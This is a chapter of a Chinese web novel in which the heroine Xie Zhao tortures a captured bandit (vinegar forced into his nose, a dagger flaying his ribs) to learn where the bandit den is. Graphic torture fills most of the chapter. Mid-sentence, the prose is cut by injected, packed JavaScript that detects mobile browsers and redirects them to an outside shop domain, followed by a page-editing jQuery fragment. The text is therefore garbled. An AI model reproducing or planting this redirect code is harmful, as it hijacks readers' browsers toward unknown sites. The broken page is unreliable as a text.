十一间石屋彼此相隔丈余,负责记录的是纳叔从鼓楼里喊来的一个年轻人。
二十出头的阿哥,汉话苗话都说得流利,手里攥着几张鞣过的羊皮纸和一截烧焦的炭枝。
审问从第一个穿琵琶骨的马匪开始。
谢昭走进石屋的时候,那人正挂在房梁上喘气。
铜签子穿过锁骨,双臂被麻绳牵引着,整个人悬在那里,脚尖勉强能够到地面。
伤口处的血已经半凝了,乌红的一片糊在肩窝上。
谢昭在他面前站定,打量了他片刻。这个男人身量粗壮,虬髯浓须,虎口上有厚厚的茧。
她没有先开口,先把人放了下来,让他跪在地上。解了眼罩和耳堵,谢昭先细细打量了一会儿。
近些日子,她忆起事物越来越多,例如观相。
此人第一眼看去便是天庭低窄,地阁不圆。
再看眉骨横凸,眉毛杂乱如荒草,眼白浑浊泛黄带着血丝,腮边挂横肉。
一看便是火土燥烈的模样。
谢昭从身后拿了只陶壶出来。
陶壶里装的是寨子里酿的酸酒醋,又酸又冲,闻一闻便能呛得人流眼泪。
她拔开壶塞,单手掐住那马匪的下巴迫他仰头。
那人挣扎着抻脖子,可琵琶骨穿了铜签,双臂受缚使不上力。他张开的嘴巴里还含混地滚着脏话,谢昭便把壶嘴抵进他一只鼻孔。
酸醋灌进去的一刹那,本来因那人整个身体都弹了起来。铜签子在骨孔里咯吱作响,嘶吼喊叫着。
酸醋顺着鼻道涌入咽喉,呛得他剧烈地咳嗽,咳嗽又牵动了锁骨上的伤口,伤口又把他疼得浑身痉挛。
谢昭收了壶,退后一步,等他喘够了才开口。
“你们匪窝在哪?”
她的声音并不凶,那马匪刚被她灌过醋,听见她说话便浑身一抖。
“我不知道——真的不知道——”
“我们都是跟着虎爷干——虎爷就是我们的头——他住在……住在……”
他喘着粗气,眼珠子胡乱转着,“他住在牛角山!对,牛角山!”
谢昭没有应声,只是侧过头往边上立着的阿哥望了一眼。他在羊皮纸上刷刷记录,炭枝飞动。
谢昭腰后摸起匕首,刀刃出鞘,冷幽幽的银光便打在马匪眼中,将他晃了一晃。
她绕到那人背后,将绑在他身上的绳索略略收紧,逼他肋骨两端从皮肉下突起。那马匪不知她要做什么,只是浑身汗出如浆。
谢昭拔出匕首,刃尖抵在那人第一根肋骨的侧面。
“你说的牛角山,是南边的还是东边的?”
“南——南边的!”
匕首往下一压,刃口贴着肋骨来回一拨。
皮肉翻开,白骨显现。
马匪发出的惨叫声变了调,整个人剧烈地抽搐。
铜签子在骨孔里被扯得咯吱作响,鲜血顺着他的腋下往下淌,在地上洇出了一小片暗红。
谢昭把匕首收了回来,等到惨叫声低下去才又开口,“南边的牛角山?可你的同伙方才说的是东边的牛角山。你们两个人,总有一个在说谎。”
那马匪疼得已经快说不出整话了,满脑门都是汗,嘴唇抖成了一个筛子,“他……他说错了……就是南边的!是真的!”
“哦。”谢昭的语气依旧平淡,“那匪窝里头有多少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675438|206840||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人?”
“几……几十个!不不不——七八十个——八九十——我真的记不清了!”
“匪头叫什么?”
“叫……叫……”
他犹豫了,只有一息的停顿,谢昭手中匕首又往下一压,刃口贴着肋骨,又是一拨。
马匪惨叫一声,浑身痉挛,血沫子从翻开的皮肉间渗出来顺着他腰侧的肌肉往下淌。
谢昭没有再看,手腕一转,匕首上的脏污甩了大半落在地上,又用帕子细细擦拭干净后收回鞘中。
“匪头叫什么?”她再问。
“虎爷!都叫虎爷!大名我真不知道——没人知道!他从来不说,我们也不敢问——”
谢昭盯着他看了片刻,没有追问,重新将其蒙眼堵耳。
她转身往屋外走去。那年轻的阿哥收起了羊皮纸,抱着纸跟上。
这一套刑罚下来,马匪吐了话还有呕吐物,有谁痛昏死了就用药粉熏醒后接着审。
谢昭不同他们纠缠,见榨不出话了,只等供词都统统被记录下来,继续审问下一人。
每个被审过的马匪每一个都像是在鬼门关前走了一遭。
石屋里弥漫冲天的呛人气味,熏得守在外头的几个青壮都直皱眉头。
谢昭并未对此有过多情绪,只站在石屋外头等着下一个。
阿霁海一直站在不远处望着她,他的阿妹好厉害,厉害得叫他心里头生出了一种说不清道不明的慌。
像是一只养熟了的雀儿,在他掌心里展了展翅。羽翼卷起的风里带着远方的气息。
雀儿若只是一只雀儿,便一辈子窝在他掌心里。
可若是一只鹰呢?